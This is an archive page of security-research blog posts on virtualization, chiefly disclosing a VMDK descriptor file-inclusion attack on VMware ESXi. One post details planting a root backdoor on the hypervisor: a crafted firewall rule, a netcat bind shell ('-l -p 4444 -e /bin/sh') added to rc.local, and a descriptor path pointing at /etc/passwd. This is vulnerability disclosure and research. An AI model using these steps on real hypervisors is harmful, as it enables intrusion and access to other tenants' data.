TAG | Virtualization
this week I gave a presentation together with Florian Barth from Stocard on Docker, DevOps/Microservices, and Security — a topic and collaboration that I will definitely cover in even more detail in the future!
4 Comments | Posted by Daniel Mende
Recently we started playing around with Cisco’s virtual router, the CSR 1000V, while doing some protocol analysis. We found Cisco offering an BIN file for download (alternatively there is an ISO file which contains a GRUB boot loader and the BIN file, or an OVA file which contains a virtual machine description and the ISO file) and file(1) identifies it as DOS executable:
$ file csr1000v-universalk9.03.12.00.S.154-2.S-std.SPA.bin csr1000v-universalk9.03.12.00.S.154-2.S-std.SPA.bin: DOS executable (COM)
We didn’t manage to get the file running, neither in a (Free-)DOS environment, nor in a wine virtual DOS environment, except using the boot loader from the ISO file. So we became curious as for the structure and ingredients of the file.
During a recent research project we performed an in-depth security assessment of Microsoft’s virtualization technologies, including Hyper-V and Azure. While we already had experience in discovering security vulnerabilities in other virtual environments (e.g. here and here), this was our first research project on the Microsoft virtualization stack and we took care to use a structured evaluation strategy to cover all potential attack vectors.
Part of our research concentrated on the Hyper-V hypervisor itself and we discovered a critical vulnerability which can be exploited by an unprivileged virtual machine to crash the hypervisor and potentially compromise other virtual machines on the same physical host. This bug was recently patched, see MS13-092 and our corresponding post.
First of all, I hope you all had a good start to 2014. Having some time off “between the years” (which is a German saying for the time between Christmas and NYE), I caught up on several virtualization security topics.
While virtualization is widely accepted as a sufficiently secure technology in many areas of IT operations (also for sensitive applications or exposed systems, like DMZs) by 2014, there are several recent vulnerabilities and incidents that are worth mentioning.
First of all, a rather old vulnerability (codename “VMDK Has Left the Building“) was eventually patched by VMware, the day before Christmas’ eve (honi soit qui mal y pense… 😉 ). While the initially described file inclusion vulnerability cannot be exploited anymore, first tests in our lab show that attempts to exploit the vulnerability lead to a complete freeze of the shared ESXi host. We still need to dig deeper into the patch and will keep you posted.
On November’s patch Tuesday, an important vulnerability in Hyper-V was patched by Microsoft. The bulletin does not provide a lot of details as for the vulnerability, but the relevant sentence is this one: “An attacker who successfully exploited this vulnerability could execute arbitrary code as System in another virtual machine (VM) on the shared Hyper-V host.”. This does not allow code execution in the hypervisor. However, Hyper-V’s architecture comprises the so-called root partition, which is a privileged virtual machine used for all kinds of management functionality. This means that code execution in this particular virtual machine most probably will still give an attacker complete control over the hypervisor. Even without this root partition, the vulnerability would be one of the worst-case vulnerabilities in the age of Cloud computing, provided that MS Azure employs Hyper-V (which can be considered a fair assumption. Still we have no distinct knowledge here). Again, we’ll have a closer look at this one in the near future.
At the end of December, OpenSSL suffered from a virtualization-related incident. The shared hypervisor was compromised using a weak password of the hosting provider. While password-related attacks are not specific to virtualized environments, it emphasizes the need for secure management practices for virtualization components. This sounds like a very basic recommendation, but many security assessments we conducted in this space resulted in the need to include “attacks against management interfaces” in the top ERNW virtualization risks, which we cover in our virtualization and cloud security workshops. Also we mentioned this in some presentations and research results.
As the described events show, virtualization security will remain an important topic in 2014 (even though marketing material suggest to simply adopt virtualization – I won’t give any links here, you’ve probably already seen plenty 😉 ). We will cover several aspects during this year’s Troopers edition. While our workshop on “Exploiting Hypervisors” is already online (for the detailed description, see here), one talk is missing: Due to some rather strict NDAs, we can’t provide any details so far (but if you’ve read the MS13-092 credits carefully, it shouldn’t be too hard to guess 😉 ).
I hope you’re looking forward to 2014 as much as I do, stay tuned,
In the course of a current virtualization research project, I was reviewing a lot of documentation on hypervisor security. While “hypervisor security” is a very wide field, hypervisor breakouts are usually one of the most (intensely) discussed topics. I don’t want to go down the road of rating the risk of hypervisor breakouts and giving appropriate recommendations (even though we do this on a regular base which, surprisingly often, leads to almost religious debates. I know I say this way too often:I’ll cover this topic in a future post ;)), but share a few observations of analyzing well-known examples of vulnerabilities that led to guest-to-host-escape scenarios. The following table provides an overview of the vulnerabilities in question:
Just a quick update here: Ivan (who gave the magnificent Virtual Firewalls talk at Troopers recently) blogged about this and some guy added some feedback from an environment with Cisco FEX and “one of the server guys start[ing] a Citrix Netscaler” ;-). See the second comment to his post.
This shows, once more, that the dependencies of various technologies (and what they are used for) must be well understood in cloud/virtualized environments. Complexity … but who do we tell. Y’ all know that, right?
In our last series of posts regarding the VMDK file inclusion attack, we focused on read access and prerequisites for the attack, but avoided stating too much about potential write access. But as we promised to cover write access in the course of our future research, the following post will describe our latest research results.
First of all, the same prerequisites (which will be refined a little bit more later on) as for read access must be fulfilled and the same steps have to be performed in order to carry out the attack successfully. If that is the case, there are several POIs (Partitions Of Interest) on a ESXi hypervisor that are interesting to include:
- /bootbank → contains several archives which build the hypervisors filesystem once they are unpacked
- /altbootbank → backup of the prior version of bootbank, e.g. copied before a firmware update
- /scratch → mainly log files and core dumps stored here
- /vmfs/volumes/datastoreX → storage for virtual machine files
The root filesystem is stored on a ramdisk which is populated at boot time using the archives stored in the bootbank partition. As this means that there is no actual root partition (since it is generated dynamically at boot time and there is no such thing like a device descriptor for the ramdisk), this excludes the root file system from our attack tree, at least at first sight.
While trying to write to different partitions, we noticed that the writing sometimes fails. Evaluating the reason for the failure, we also noticed that this is only the case for certain partitions, such as /scratch. After monitoring the specific write process, we noticed the following errors:
attx kernel: [93.238762] sd 0:0:0:0: [sda] Unhandled sense code attx kernel: [93.238767] sd 0:0:0:0: [sda] Result: hostbyte=invalid driverbyte=DRIVER_SENSE attx kernel: [93.238771] sd 0:0:0:0: [sda] Sense Key : Data Protect [current] attx kernel: [93.238776] sd 0:0:0:0: [sda] Add. Sense: No additional sense information attx kernel: [93.238780] sd 0:0:0:0: [sda] CDB: Write(10): 2a 00 02 04 bd 20 00 00 08 00 attx kernel: [93.238790] end_request: critical target error, dev sda, sector 33864992 attx kernel: [93.239029] Buffer I/O error on device sda, logical block 4233124 attx kernel: [93.239181] lost page write due to I/O error on sda
cpu0:2157)WARNING: NMP: nmpDeviceTaskMgmt:2210:Attempt to issue lun reset on device naa.600508b1001ca97740cc02561658c136. This will clear any SCSI-2 reservations on the device. cpu0:2157)<4>hpsa 0000:05:00.0: resetting device 6:0:0:1 cpu0:2157)<4>hpsa 0000:05:00.0: device is ready
Assuming that the hypervisor hard drive is not broken for exactly the cases we try to write from within a guest machine, we performed further tests (using various bash scripts and endless writing loops) and found out that this error occurs when the hypervisor and a guest machine are trying to write at the same time to the same device. Due to the fact that the hypervisor continuously writes log files to the /scratch file system and generates all kind of I/O to the /vmfs data stores (due to the running virtual machines stored on that partition), it was not possible to write to those devices in a reliable way.
Fortunately (at least from an attacker’s point of view 😉 ) the remaining partitions, /bootbank and /altbootbank, are only accessed at boot time and it is hence possible to write to those partitions in a reliable way. At that point, the initially mentioned fact about the lacking root partition gets important again: As the root partition would be the first and most promising target of write access, it would most probably also be locked by the hypervisor as there might also be different files that would be written on periodically. So when we were searching for a way to write to the dynamically generated root partition, we came up with the following steps:
- Include the device holding the /bootbank partition.
- Write to the /bootbank partition.
- Wait for the hypervisor to reboot (or perform the potential DoS attack we identified, which will be described in a future post).
- Enjoy the files from the /bootbank partition being populated to the dynamically created root partition.
The last step is of particular relevance. /bootbank holds several files that contain archives of system-critical files and directories of the ESXi hypervisor. For example the /bootbank/s.v00 contains an archive of the directories and files, including parts of /etc. The hypervisor restores the particular directories (such as /etc) at startup from the files stored in /bootbank. As we are able to write files to /bootbank, it is possible to replace contents of /bootbank/s.v00 and thus contents of /etc of the hypervisor ramdisk. In order to make sure that certain files in /etc are replaced, we can access the file /bootbank/boot.cfg which holds a list of archives which get extracted at boot time. As we have all necessary information to write to the root partition of the hypervisor, these are the steps to be performed:
- Obtain /bootbank archive, in this example /bootbank/s.v00, using the well-known attack vector.
- Convert/extract archive: The archives in /bootbank are packed with a special version of tar which is incompatible with the GNU tar. However this vmtar version can be ported to a GNU/Linux by copying the vmtar binary and libvmlibs.so from any ESXi installation.
- Modify or add files.
- Repack the archive.
- Deploy the modified archive to /bootbank using the write access.
Following this generic process, we were able to install a backdoor on our ESXi5 hypervisor. In a first step, we opened a port in the ESXi firewall (which has a drop-all policy) as we wanted to deploy a bind shell (even though we could have used a connect-back shell instead, but we also want to demonstrate that is possible to modify system-critical settings). The firewall is configured by xml files stored in /etc/vmware/firewall. These xml files are built as follows:
<ConfigRoot> <service id='0000'> <id>sshServer</id> <rule id='0000'> <direction>inbound</direction> <protocol>tcp</protocol> <porttype>dst</porttype> <port>22</port> </rule> <enabled>false</enabled> <required>false</required> </service> [...] </ConfigRoot>
The xml format is kind of self-explanatory. Every service has a unique identifier id, and can have inbound and outbound rules. To enable the rule on system boot the enabled field has to be set to true.
Based on this schema it is easy to deploy a new firewall rule. Simply place a new xml file to /etc/vmware/firewall in the archive which will be written to the bootbank later on.
For example to open port 42000:
<ConfigRoot> <service id="0000"> <id>remote Bind Shell</id> <rule id="0000"> <direction>inbound</direction> <protocol>tcp</protocol> <porttype>dst</porttype> <port>4444</port> </rule> <enabled>true</enabled> <required>false</required> </service> </ConfigRoot>
This ruleset will be applied the next time the hypervisor reboots, after overwriting one of the archives in bootbank with our altered one.
The next step is to bind a shell to the opened port. Unfortunately the netcat installed per default on the hypervisor is not capable of the “-e” option, which executes a command after an established connection. The most basic netcat bind shell just listens on a port and forwards all input to the binary specified by the -e switch:
netcat -l -p 4444 -e /bin/sh.
Luckily the netcat version of 32bit BackTrack distribution is compatible with the ESXi platform and supports the -e switch. After copying this binary to the hypervisor, we just need to make sure that the backdoor is started during the boot process by adding the following line to /etc/rc.local:
/etc/netcat –l –p 4444 –e /bin/sh &
Next time the hypervisor starts, a remote shell will listen on port 4444 with root privileges. The following steps summarize the process of fully compromising the ESXi hypervisor:
- Include the /bootbank partition using our well-known attack path
- Unpack /bootbank/s.v00
- Add our bind shell port to the firewall by adding the described file to /path/to/extracted/etc/vmware/firewall
- Add the netcat binary to /path/to/extracted/etc/nc
- Add the above line to /path/to/extracted/etc/rc.local
- Wait for the next reboot of the hypervisor (or our post on the potential DoS 😉 )
At the end of the day, this means that once attacker is able to upload VMDK files to an ESXi environment (in a way that fulfills the stated requirements), it is possible to alter the configuration of the underlying hypervisor and even to install a backdoor which grants command line access.
Pascal & Matthias
As we are receiving a lot of questions about our VMDK has left the building post, we’re compiling this FAQ post — which will be updated as our research goes on.
How does the attack essentially work?
By bringing a specially crafted VMDK file into a VMware ESXi based virtualization environment. The specific attack path is described here.
What is a VMDK file?
A combination of two different types of VMDK files, the plain-text descriptor file containing meta data and the actual binary disk file, describes a VMware virtual hard disk. A detailed description can be found here.
Are the other similar file formats used in virtualization environments?
Yes, for example the following ones:
- VDI (used by e.g. Xen, VirtualBox)
- VHD (used by e.g. HyperV, VirtualBox)
- QCOW (used by e.g. KVM)
Are those vulnerable too?
We don’t know yet and are working on it.
Which part of VMDKs files is responsible for the attack/exposure?
The so-called descriptor file, describing attributes and structure of the virtual disk (See here for a detailed description).
How is this to be modified for a successful attack?
The descriptor file contains paths to filenames which, combined, resemble the actual disk. This path must be modified so that a file on the hypervisor is included (See here for a detailed description).
How would you call this type of attack?
In reference to web hacking vulnerabilities, we would call it a local file inclusion attack.
What is, in your opinion, the root cause for this vulnerability?
Insufficient input validation at both cloud providers and the ESXi hypervisor, and a, from our point of view, misunderstanding of trust boundaries, such as that one should “not import virtual machines from untrusted sources”.
Does this type of attack work in all VMware ESX/vSphere environments?
Basically, the ESXi5 and ESXi4 hypervisor are vulnerable to the described attack as of June 2012. Still, the actual exploitability depends on several additional factors described here.
Can this type of attack be performed if there’s no VMDK upload capability?
Which are typical methods of uploading VMDK files in (public) cloud environments?
E.g. Web-Interface, FTP, API, …
Which are typical methods of uploading VMDK files in corporate environments?
In addition to the mentioned ones, direct deployment to storage, vCloudDirector, …
Will sanitizing the VMDK (descriptor file) mitigate the vulnerability?
From our perspective this should not be too difficult to implement. There are basically two steps:
- Striping leading directory paths/relative paths from the path to be included
- Restricting included files to customer-owned directories
However a certain knowledge about the specific storage/deployment architecture is necessary in order to sanitize the VMDK descriptor file and not break functionality.
Will VMware patch this vulnerability?
Probably yes. They might do so “silently” though (that is without explicitly mentioning it in an associated VMSA) as they have done in the past for other severe vulnerabilities (e.g. for this one).
Could you please describe the full attack path?
All steps are described here.
More details can be found in a whitepaper to be published soon. Furthermore we will provide a demo with a simplified cloud provider like lab (including, amongst others, an FTP interface to upload files and a web interface to start machines) at upcoming conferences.
Do you need system/root access to the hypervisor in order to successfully carry out the attack?
No. All necessary information can be gathered during the attack.
What is the potential impact of a successful attack?
Read access to the physical hard drives of the hypervisor and thus access to all data/virtual machines on the hypervisor. We’re still researching on the write access.
Which platforms are vulnerable?
As of our current state of research, we can perform the complete attack path exclusively against the ESXi5 and ESXi4 hypervisors.
In case vCloud Director is used for customer access, are these platforms still vulnerable?
To our current knowledge, no. But our research on that is still in progress.
Are OVF uploads/other virtual disk formats vulnerable?
Our research on OVF is still in progress. At the moment, we cannot make a substantiated statement about that.
Is AWS/$MAJOR_CLOUD_PROVIDER vulnerable?
Since we did not perform any in the wild testing, we don’t know this yet. However, we have been contacted by cloud providers in order to discuss the described attack.
Given AWS does not run VMware anyways they will most probably not be vulnerable.
Is it necessary to start the virtual machine in a special way/using a special/uncommon API?
Which VMware products are affected?
At the moment, we can only confirm the vulnerability for the ESXi5 and ESXi4 hypervisors. Still, our research is going on 😉
Matthias and Pascal
VMDK Has Left the Building — Some Nasty Attacks Against VMware vSphere 5 Based Cloud Infrastructures
20 Comments | Posted by Matthias Luft
Update #1: Slides are available for download here.
In the course of our ongoing cloud security research, we’re continuously thinking about potential attack vectors against public cloud infrastructures. Approaching this enumeration from an external customer’s (speak: attacker’s 😉 ) perspective, there are the following possibilities to communicate with and thus send malicious input to typical cloud infrastructures:
- Management interfaces
- Guest/hypervisor interaction
- Network communication
- File uploads
As there are already several successful exploits against management interfaces (e.g. here and here) and guest/hypervisor interaction (see for example this one; yes, this is the funny one with that ridiculous recommendation “Do not allow untrusted users access to your virtual machines.” ;-)), we’re focusing on the upload of files to cloud infrastructures in this post. According to our experience with major Infrastructure-as-a-Service (IaaS) cloud providers, the most relevant file upload possibility is the deployment of already existing virtual machines to the provided cloud infrastructure. However, since a quick additional research shows that most of those allow the upload of VMware-based virtual machines and, to the best of our knowledge, the VMware virtualization file format was not analyzed as for potential vulnerabilities yet, we want to provide an analysis of the relevant file types and present resulting attack vectors.
As there are a lot of VMware related file types, a typical virtual machine upload functionality comprises at least two file types:
The VMX file is the configuration file for the characteristics of the virtual machine, such as included devices, names, or network interfaces. VMDK files specify the hard disk of a virtual machine and mainly contain two types of files: The descriptor file, which describes the specific setup of the actual disk file, and several disk files containing the actual file system for the virtual machine. The following listing shows a sample VMDK descriptor file:
# Disk DescriptorFile
# Extent description
RW 33554432 VMFS "machine-flat01.vmdk"
RW 33554432 VMFS "machine-flat02.vmdk"
For this post, it is of particular importance that the inclusion of the actual disk file containing the raw device data allows the inclusion of multiple files or devices (in the listing, the so-called “Extent description”). The deployment of these files into a (public) cloud/virtualized environment can be broken down into several steps:
- Upload to the cloud environment: e.g. by using FTP, web interfaces, $WEB_SERVICE_API (such as the Amazon SOAP API, which admittedly does not allow the upload of virtual machines at the moment).
- Move to the data store: The uploaded virtual machine must be moved to the data store, which is typically some kind of back end storage system/SAN where shares can be attached to hypervisors and guests.
- Deployment on the hypervisor (“starting the virtual machine”): This can include an additional step of “cloning” the virtual machine from the back end storage system to local hypervisor hard drives.
To analyze this process more thoroughly, we built a small lab based on VMware vSphere 5 including
- an ESXi5 hypervisor,
- NFS-based storage, and
everything fully patched as of 2012/05/24. The deployment process we used was based on common practices we know from different customer projects: The virtual machine was copied to the storage, which is accessible from the hypervisor, and was deployed on the ESXi5 using the vmware-cmd utility utilizing the VMware API. Thinking about actual attacks in this environment, two main approaches come to mind:
- Fuzzing attacks: Given ERNW’s long tradition in the area of fuzzing, this seems to be a viable option. Still this is not in scope of this post, but we’ll lay out some things tomorrow in our workshop at #HITB2012AMS.
- File Inclusion Attacks.
Focusing on the latter, the descriptor file (see above) contains several fields which are worth a closer look. Even though the specification of the VMDK descriptor file will not be discussed here in detail, the most important field for this post is the so-called Extent Description. The extent descriptions basically contain paths to the actual raw disk files containing the file system of the virtual machine and were included in the listing above.
The most obvious idea is to change the path to the actual disk file to another path, somewhere in the ESX file system, like the good ol’ /etc/passwd:
# Disk DescriptorFile
# Extent description
RW 33554432 VMFS "machine-flat01.vmdk"
RW 0 VMFSRAW "/etc/passwd"
Unfortunately, this does not seem to work and results in an error message as the next screenshot shows:
As we are highly convinced that a healthy dose of perseverance (not to say stubbornness 😉 ) is part of any hackers/pentesters attributes, we gave it several other tries. As the file to be included was a raw disk file, we focused on files in binary formats. After some enumeration, we were actually able to include gzip-compressed log files. Since we are now able to access files included in the VMDK files inside the guest virtual machine, this must be clearly stated: We have/can get access to the log files of the ESX hypervisor by deploying a guest virtual machine – a very nice first step! Including further compressed log files, we also included the /bootbank/state.tgz file. This file contains a complete backup of the /etc directory of the hypervisor, including e.g. /etc/shadow – once again, this inclusion was possible from a GUEST machine! As the following screenshot visualizes, the necessary steps to include files from the ESXi5 host include the creation of a loopback device which points to the actual file location (since it is part of the overall VMDK file) and extracting the contents of this loopback device:
The screenshot also shows how it is possible to access information which is clearly belonging to the ESXi5 host from within the guest system. Even though this allows a whole bunch of possible attacks, coming back to the original inclusion of raw disk files, the physical hard drives of the hypervisor qualify as a very interesting target. A look at the device files of the hypervisor (see next screenshot) reveals that the device names are generated in a not-easily-guessable-way:
Using this knowledge we gathered from the hypervisor (this is heavily noted at this point, we’re relying on knowledge that we gathered from our administrative hypervisor access), it was also possible to include the physical hard drives of the hypervisor. Even though we needed additional knowledge for this inclusion, the sheer fact that it is possible for a GUEST virtual machine to access the physical hard drives of the hypervisor is a pretty big deal! As you still might have our stubbornness in mind, it is obvious that we needed to make this inclusion work without knowledge about the hypervisor. Thus let’s provide you with a way to access to any data in a vSphere based cloud environment without further knowledge:
- Ensure that the following requirements are met:
- ESXi5 hypervisor in use (we’re still researching how to port these vulnerabilities to ESX4)
- Deployment of externally provided (in our case, speak: malicious 😉 ) VMDK files is possible
- The cloud provider performs the deployment using the VMware API (e.g. in combination with external storage, which is, as laid out above, a common practice) without further sanitization/input validation/VMDK rewriting.
It must be noted that the hypervisor hard drives contain the so-called VMFS, which cannot be easily mounted within e.g. a Linux guest machines, but it can be parsed for data, accessed using VMware specific tools, or exported to be mounted on another hypervisor under our own administrative control.
Summarizing the most relevant and devastating message in short:
VMware vSphere 5 based IaaS cloud environments potentially contain possibilities to access other customers’ data…
We’ll conduct some “testing in the field” in the upcoming weeks and get back to you with the results in a whitepaper to be found on this blog. In any case this type of attacks might provide yet-another path for accessing other tenants’ data in multi-tenant environments, even though more research work is needed here. If you have the opportunity you might join our workshop at #HITB2012AMS.
Have a great day,
Pascal, Enno, Matthias, Daniel
0 Comments | Posted by Florian Horsch
Just wanted to let you know that we sent out ERNW Newsletter 32 end of last week. As we promised it includes the results of research regarding the question “Is browser virtualization a valid security control in order to mitigate browser based security risks?”.
Simon did a great job with writing the latest newsletter. It’s a 30-page document which should help you to have a basis for well-informed decisions when it comes to the deployment of an application virtualization technology.